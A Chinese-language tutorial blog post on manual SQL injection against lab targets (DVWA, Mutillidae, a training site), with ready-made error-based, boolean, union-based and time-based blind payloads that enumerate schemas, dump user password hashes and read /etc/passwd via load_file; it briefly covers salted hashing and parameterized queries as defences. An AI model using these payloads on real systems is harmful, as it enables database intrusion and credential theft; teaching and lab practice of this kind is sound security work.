0
点赞
收藏
分享

微信扫一扫

SQL手工注入

四月Ren间 2023-12-19 阅读 37

错误注入

SQL手工注入_数据库

错误注入是一种SQL注入类型,用于使SQL语句报错的语法,用于注入结果无回显但错误信息有输出的情况。公鸡者可以通过报错信息来获取敏感信息。常用的三种报错注入函数是extractvalue、updatexml和floor。报错注入的原理是通过构造恶意的SQL语句,使其在执行时报错,从而获取错误信息。公鸡者可以通过不断尝试构造不同的SQL语句,来获取更多的敏感信息。在渗tou测试中,当我们没有回显位时可以考虑使用报错注入这种方法来进行测试。

错误注入方法

错误注入是一种测试技术,它的目的是将错误引入到程序中,以便在测试时发现和解决问题。下面是一些常见的错误注入方法:

  1. 随机注入错误:在程序中随机地注入错误,以模拟不同的测试场景。
  2. 异常注入:在程序中人为地引入异常,以测试程序的异常处理能力。
  3. 数据注入:在程序中注入不同类型、大小和格式的数据,以测试程序的数据处理能力。
  4. 时间注入:在程序中注入不同的时间戳和时间格式,以测试程序的时间处理能力。
  5. 网络注入:在程序中模拟网络故障和延迟,以测试程序的网络处理能力。

在HDFS中,错误注入更多地偏向于文件、数据块的错误注入。例如,可以通过修改数据块的校验和来模拟数据损坏的情况,以测试HDFS的数据恢复能力。此外,还可以通过模拟网络故障和节点故障来测试HDFS的容错能力

常见的报错注入函数

floor();

extractvalue();

updatexml();

geometrycollection();

multipoint();

polygon();

multipolygon();

linestring();

multilinestring();

exp();

报错注入的原理

 为了弄清报错注入的原理,首先先创建了一个名为sqli的数据库,然后建表插入数据:


mysql> create database sqli;

mysql> create table user (

       id int(11) not null auto_increment primary key,

       name varchar(20) not null,

       pass varchar(32) not null

   );

   

mysql> insert into user (name, pass) values ('admin', md5('admin')), ('guest', md5('guest'));

 

SQL手工注入_mysql_02

 我们先看一个基于floor()的报错SQL语句:


select count(*),(concat(floor(rand(0)*2),(select version())))x from user group by x;

 如果是第一次接触报错注入的话,一般会有这么几个问题。


 Q1.floor()函数是什么?


 A1.floor函数的作用是返回小于等于该值的最大整数,也可以理解为向下取整,只保留整数部分。


 Q2.rand(0)是什么意思?


 A2.rand()函数可以用来生成0或1,但是rand(0)和rand()还是有本质区别的,rand(0)相当于给rand()函数传递了一个参数,然后rand()函数会根据0这个参数进行随机数成成。rand()生成的数字是完全随机的,而rand(0)是有规律的生成,我们可以在数据库中尝试一下。首先测试rand()

SQL手工注入_mysql_03

 我们再测试一下rand(0)的效果

SQL手工注入_SQL_04

 很显然rand(0)是伪随机的,有规律可循,这也是我们采用rand(0)进行报错注入的原因,rand(0)是稳定的,这样每次注入都会报错,而rand()则需要碰运气了,我们测试结果如下


SQL手工注入_mysql_05

 Q3.为什么会出现报错?


 A3.我们看一下报错的内容:Duplicate entry '15.5.53' for key 'group_key'。意思是说group_key条目重复。我们使用group by进行分组查询的时候,数据库会生成一张虚拟表

SQL手工注入_SQL_06

 在这张虚拟表中,group by后面的字段作为主键,所以这张表中主键是name,这样我们就基本弄清报错的原因了,其原因主要是因为虚拟表的主键重复。按照MySQL的官方说法,group by要进行两次运算,第一次是拿group by后面的字段值到虚拟表中去对比前,首先获取group by后面的值;第二次是假设group by后面的字段的值在虚拟表中不存在,那就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致主键的重复,进而引发错误。


举例 通过单引号字符

通过输入单引号,触发数据库异常,通过异常日志诊断数据库类型,例如这里是MySQL数据库 

DWVA

SQL手工注入_数据库_07

报错信息

SQL手工注入_mysql_08

代码审计

SQL手工注入_数据库_09

MySQL

mysql> select * from user _information where user _id="1"; 

mysql> select * from user _information where user _ name=''' and user _ password=''; 

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' and user _ password=''' at line 1 

前端字符转换成MySQL查询语句在后台执行的实例及返回报错内容

布尔注入

SQL手工注入_数据库_10

布尔注入是一种SQL注入公鸡技术,它利用了应用程序在处理SQL语句时的漏洞,通过构造特定的SQL语句,使应用程序返回不同的结果,从而达到获取敏感信息或者控制数据库的目的。与其他类型的SQL注入公鸡不同,布尔注入不会直接返回数据,而是根据应用程序的响应来判断注入是否成功。公鸡者可以通过构造不同的SQL语句,利用应用程序的响应来判断SQL语句是否执行成功,从而逐步推断出数据库中的数据。

举个例子,假设有一个登录页面,用户输入用户名和密码,应用程序会将用户名和密码拼接成SQL语句,查询数据库中是否存在该用户。如果应用程序没有对用户输入进行过滤或者验证,公鸡者可以在用户名或密码中注入恶意代码,构造出如下SQL语句:

SELECT * FROM users WHERE username='admin' AND password='' OR '1'='1'

这条SQL语句的含义是查询用户名为admin且密码为空或者1=1的用户,由于1=1永远成立,所以这条SQL语句会返回所有用户的信息,公鸡者就可以通过应用程序的响应来判断注入是否成功。

布尔注入的精髓就是这三句话:布尔逻辑注入的思路是闭合SQL语句、构造or和and逻辑语句、注释多余的代码


通过'or 1=1 -- 注入 


DWVA

SQL手工注入_mysql_11

MySQL

mysql> select * from user _information where user_name=''or 1=1-- ' and user_password=' ';

mysql> select * from user_information where user_id=''or 1=1 --''; 

这里通过SQL注入,查询到所有用户信息,那 么,'or 1=1-- 的作用是什么?

首先,通过单引号,闭合系统默认的单引号,即 where user_name = ' ' 

接下来or 1=1使得整个查询语句永远为真; where condition1 or condition2,只有一个条件 成立,则语句为真

通过-- 对后面user_password等进行注释(注 意,两个横杆之后有空格) 

之后会把所有的数据表查询出来,例:

SQL手工注入_SQL_12


通过admin' and 1=1 -- 注入 

Mutillidae 

表单输入

admin' and 1=1 --

SQL手工注入_数据库_13

报错内容返回


SQL手工注入_mysql_14

MySQL

mysql> select * from user_information where user_name='admin' and 1=1 --; 

这里通过SQL注入,在没有输入密码的情况下, 获取到管理员的账号信息 

首先通过admin' 来闭合前面的user_name条件 

and 1=1 -- 构造永真条件并注释后面的代码 

这里如果用or 1=1--,则获取到的是所有用户信息 

简单来说,获取某个账号信息,用and,获取所有账号信息,用or


通过admin' or 1=1 -- ' 

SQL手工注入_数据库_15

SQL手工注入_数据库_16

SQL手工注入_SQL_17

SQL手工注入_SQL_18

联合注入

联合注入之查询猜测数据列数

SQL注入是一种常见的公鸡方式,公鸡者可以通过注入恶意代码来获取敏感信息或者控制数据库。其中,猜测数据库列数是SQL注入的一种常见手段。以下是一种可能的解决方案:

1.使用order by获取主查询的字段数:

SELECT * FROM table_name ORDER BY 1;

这个语句会按照第一个字段进行排序,如果查询成功,则说明表中至少有一个字段。

2.获取数据库名:

SELECT database();

这个语句可以获取当前数据库的名称。

3.获取表名:

SELECT table_name FROM information_schema.tables WHERE table_schema=database();

这个语句可以获取当前数据库中所有表的名称。

4.获取列名:

SELECT column_name FROM information_schema.columns WHERE table_name='table_name';

这个语句可以获取指定表中所有列的名称。

5.获取内容:

SELECT column_name FROM table_name;

这个语句可以获取指定表中指定列的内容。

看教学内容:

一般通过错误和布尔注入确认注入点之后,便开始通过union语句来获取有效信息

SELECT [colums] from [table] or UNION  
SELECT x, y, z --

这里x,y,z的数量必须跟colums的数量是一样的, 否则会报错

基于“ union查询需要保证列数一致”这个查询逻 辑,若不一致的话,则出现如下信息

The used SELECT statements have a different number of colums

根据这个点,可以不断设置后面的x,y,z参数,基于报错,猜测数据列 

' union select 1 --'

mysql> select user _ name,user _password from user _information where user _id=''union select 1--'';

The used SELECT statements have a different number of columns 

' union select 1, 2 -- '

SQL手工注入_数据库_19

' union select 1, 2,3 --'

SQL手工注入_mysql_20

SQL手工注入_数据库_21

' union select null --'

SQL手工注入_mysql_22

' union select null, null --' 

SQL手工注入_mysql_23

' union select null, null --' 

SQL手工注入_数据库_24

SQL手工注入_mysql_25

' union select null, null, null --'

SQL手工注入_mysql_26

SQL手工注入_mysql_27

联合注入之查询数据信息

查看元数据库,查找到用户数据库 

'union select 1,table_name from INFORMATION_SCHEMA.tables -- ' 

SQL手工注入_mysql_28

数据库逻辑

mysql> select user _ name,user _password from user_information where user_id=''union select1, table_name from INFORMATION_SCHEMA.tables -- ''; 


查看数据库和操作系统版本以及当前使用的数据库

'union select version(),database() from INFORMATION_SCHEMA.tables-- '

information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。元数据包括数据库名、表名、列数据类型、访问权限、字符集等基础信息

information_schema数据库表说明:

  • SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
  • TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
  • COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
  • STATISTICS表:提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。
  • USER_PRIVILEGES(用户权限)表:给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。
  • SCHEMA_PRIVILEGES(方案权限)表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是非标准表。
  • TABLE_PRIVILEGES(表权限)表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准表。
  • COLUMN_PRIVILEGES(列权限)表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。
  • CHARACTER_SETS(字符集)表:提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。
  • COLLATIONS表:提供了关于各字符集的对照信息。
  • COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。这些列等效于SHOW COLLATION的前两个显示字段。
  • TABLE_CONSTRAINTS表:描述了存在约束的表。以及表的约束类型。
  • KEY_COLUMN_USAGE表:描述了具有约束的键列。
  • ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数(UDF)。名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。
  • VIEWS表:给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息。
  • TRIGGERS表:提供了关于触发程序的信息。必须有super权限才能查看该表。

SQL手工注入_数据库_29

查看当前使用的数据库和数据库账号

'union select user(),database() from INFORMATION_SCHEMA.tables -- ' 

SQL手工注入_SQL_30

数据库原理

mysql> select user_ name,user _password from user_information where user_id=''union select user(), database() table_name from INFORMATION _SCHEMA.tables -- ''; 

反馈

SQL手工注入_数据库_31

加载本地的账号密码信息

'union select load_file('/etc/password'),database() from INFORMATION_SCHEMA.tables -- '

查看当前系统/Web应用账号密码

SQL手工注入_SQL_32

↑上图选择ASCII hex转为16进制

SQL手工注入_mysql_33

↑输入的时候不要用↑上图这种方式输入

SQL手工注入_mysql_34

直接用↑上图这种16进制方式输入

这里需要做编码转换才能执行

'union select load_file('2f6574632f70617373776f7264'), database() from INFORMATION_SCHEMA.tables -- '

SQL手工注入_SQL_35

联合注入之查询数据表与列

'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name = 'users' -- '

在information系统库中查找users这张表用户表里的信息

SQL手工注入_mysql_36

返回结果为列表名称而不是数据


查询数据列

 查看users数据表的列信息

'union select NULL, user from users -- '

mysql> select user_name,user_password from user_information where user_id=''union select 1, column_name from INFORMATION_SCHEMA.columns where table_name='user_information' -- ''; 

前面到user_id=’’已经闭合了,然后有并行了一个查询语句,要从系统库里查询列表名称

反馈结果:

SQL手工注入_mysql_37

导出密码信息

'union select NULL, password from users -- '

SQL手工注入_mysql_38

可以看到密码是以哈希值进行加密的,可以去解密网站或者bp软件里进行解密。如果网站设计者不希望被破jie,可以对哈希值进行加盐处理

***哈希值加盐处理是一种提高密码安全性的方法。它的基本思想是在密码的基础上添加一个随机的字符串,然后再进行哈希运算。这个随机字符串就是盐值,它可以使得相同的密码在不同的用户之间产生不同的哈希值,从而增加了破jie密码的难度。

下面是一个Python的例子,演示如何使用盐值对密码进行哈希加密:

import hashlib
import os

# 生成随机盐值
salt = os.urandom(32)

# 用户输入的密码
password = "123456"

# 将盐值和密码拼接在一起
salted_password = salt + password.encode()

# 使用SHA256算法进行哈希运算
hashed_password = hashlib.sha256(salted_password).hexdigest()

# 将盐值和哈希值保存到数据库中
save_to_database(salt, hashed_password)

在上面的例子中,我们首先使用os.urandom()函数生成一个32字节的随机盐值。然后将盐值和用户输入的密码拼接在一起,再使用SHA256算法进行哈希运算。最后,将盐值和哈希值保存到数据库中。

当用户登录时,我们需要从数据库中读取盐值和哈希值,然后使用相同的方法对用户输入的密码进行哈希运算,最后将得到的哈希值与数据库中保存的哈希值进行比较。如果相同,则说明密码正确***

.mysql> select user_name,user_password from user_information where user_id=''union select NULL, user_password from user_information -- ''; 

返回结果:

SQL手工注入_mysql_39

查询数据列:

'union select NULL, user from isers -- '  //查询数据表中users数据列

这是一条SQL注入公鸡语句,其中的“union select NULL”是为了将结果集的列数与原查询结果集的列数相匹配,从而能够成功执行注入公鸡。其中“NULL”表示在第一列插入一个空值,而“users”则是公鸡者想要获取的数据列。而“–”则是SQL中的注释符号,用于注释掉后面的内容,从而避免语法错误。

需要注意的是,这是一种非法的公鸡行为,严重威胁到了数据库的安全性和用户的隐私。因此,在编写应用程序时,必须采取措施来防止SQL注入公鸡,例如使用参数化查询、过滤输入等方式。

'union select NULL, password from users -- '  //查询数据表中用户的密码

这是一种SQL注入公鸡方式,目的是从数据库中获取用户的密码。公鸡者通过构造恶意的SQL语句,将其注入到应用程序的输入框中,从而获取数据库中的敏感信息。在这个例子中,公鸡者使用了UNION SELECT语句,将NULL和password列的值合并在一起返回。具体的payload为:‘union select NULL, password from users --’。其中,–表示注释掉后面的语句,防止出现语法错误。

需要注意的是,这种公鸡方式只有在应用程序没有对用户输入进行充分的验证和过滤时才会成功。因此,开发人员应该采取一系列措施来防止SQL注入公鸡,例如使用参数化查询、限制用户输入的长度和类型、过滤特殊字符等。

'union select users, password from users -- '

这是一种SQL注入公鸡方式,公鸡者试图通过将恶意代码插入到SQL语句中来访问或更改数据库中的数据。在这种情况下,公鸡者试图从名为“users”的表中检索用户名和密码。公鸡者使用“union select”语句将恶意代码插入到SQL查询中,以便将结果与其他查询结果组合在一起。公鸡者还使用“–”注释符号来注释掉原始查询的其余部分,以便只执行恶意代码。

'union select NULL, GRANTEE from USER_PRIVILEGES-- '

这是一种SQL注入公鸡方式,旨在获取数据库中的敏感信息。该语句的作用是查询USER_PRIVILEGES表中的GRANTEE列,并将NULL作为第一列返回。公鸡者可以通过这种方式获取数据库中的用户权限信息。为了防止SQL注入公鸡,应该对用户输入的数据进行过滤和验证,以确保输入的数据不会被误认为是SQL代码。

综合查询与总结

'union select password, concat(first_name,'',last_name,'',user) from users -- '

这句话前面主要输出password和concat,本质上还是查询两个参数。

concat函数用于将多个字符串连接成一个字符串。它接受两个或多个字符串参数,并返回这些字符串连接后的结果。

输出结果

SQL手工注入_数据库_40

mysql> select user_name,user_password from user_information where user_id=''union select user_id, concat(user_name,' ',user_password) from user_information -- '';

SQL手工注入_SQL_41

现有注入点而后查询

SQL手工注入_SQL_42


时间盲注

SQL手工注入_SQL_43

技术分类里除了时间盲注还有一种叫逐字解码(也叫拆半猜解),从技术上讲也算盲注的一种方法

如果对方网站安装了waf防火墙那么使用手工注入的以上三种 方式肯定是无法绕过 的,所以需要另辟蹊径。那么盲注技术也就应运而生。(有些数据库对错误信息做了安全配置,使得无法 通过以上方式探测到注入点,此时,通过设置sleep语句来探测注入点 。)

时间盲注是一种SQL注入攻ji技术,它利用了数据库执行查询时的延迟响应来判断查询结果是否为真。与其他类型的SQL注入公鸡不同,时间盲注不会直接返回数据,而是通过在查询中添加sleep()或benchmark()等函数来延迟响应时间,从而判断查询结果是否为真。时间盲注通常用于目标网站没有明显的错误信息返回的情况下,因为公鸡者需要根据响应时间来判断查询结果是否为真。在实际公鸡中,公鸡者通常使用自动化工具如sqlmap来执行时间盲注公鸡。

以下是一个时间盲注的示例,假设有一个登录页面,公鸡者可以通过用户名和密码进行登录。公鸡者可以在用户名和密码字段中注入恶意代码,以尝试执行时间盲注公鸡。例如,公鸡者可以在用户名字段中输入以下代码:

' or if(1=1, sleep(10), null)#  //也可以使用and语句

这个代码的含义是,如果1=1,则执行sleep(10)函数,否则返回null。公鸡者可以通过观察页面响应时间来判断1=1是否为真,从而判断查询结果是否为真

示例:

输入'无响应

SQL手工注入_SQL_44

输入1' and sleep(2) --'

1' and sleep(2) -- '

SQL手工注入_数据库_45

观察响应时间

SQL手工注入_数据库_46

结果

' or sleep(1) -- '

SQL手工注入_SQL_47

SQL手工注入_数据库_48

根据注入的时间和响应时间来判断是否有注入问题,结合自动化注入软件来爬取信息。

搜索框的就叫搜索注入

如果是表单的话就是post方法去提交的,就是post注入

如果在url里的就是get注入

逐字解码这种高级的注入方式,后面 在学

知识要点

须知知识点: 在mysql5.0版本以上,存在一个information_schema数据库,存储记录数据库名、表名、列名的数据库 相当于可以通过information_schema这个数据库获取到数据库下面的表名和列名。 其次,若information_schema.xm,则表示在information_schema的数据库中下的xm表 且information_schema中存在table_schema,column_schema information_schema.tables:记录所有信息表名的表 information_schema.columns:记录所有列名信息的表 table_name:表名 column_name:列名 table_schema:数据库名 一般方法流程: 1、判断注入 2、猜测列名字段数量(order by)一般从1开始猜测到正常与错误的临界值,需要提前进行报错猜解准备(让网站显示错误并回显数字) 3、信息收集: 数据库版本: version() 数据库名字: database() 数据库用户: user(

首先判断是否存在注入 and 1=1 显示正确 and 1=2 显示错误 存在注入 1=2时弹出错误证明是注入点:2、判断注入类型(数字型、字符型)3、order by x判断列的数量(4字段)4、联合查询 union select 判断2,3存在回显5、查表名6、group_concat查出所有行的数据, 下面以墨者学院的SQL 注入漏洞测试为例 1. 点击进入 对http://124.70.22.208:46361/new_list.php?id=1 进行注入 判断注入:猜解列名数量(字段数) order by x 错误与正常值 order by +(我们猜测的,此处我们猜测4,可以跳转成功,但猜测5不行 报错猜解准备:使用union http://124.70.22.208:46361/new_list.php?id=1 union select 1,2,3,4 页面显示正常 http://124.70.22.208:46361/new_list.php?id=-1 union select 1,2,3,4 开始找操作系统、版本号等 http://124.70.22.0

最后一步可以使用group_concat拼接用户名和状态,然后通过MD5解密登录即可

举报

相关推荐

0 条评论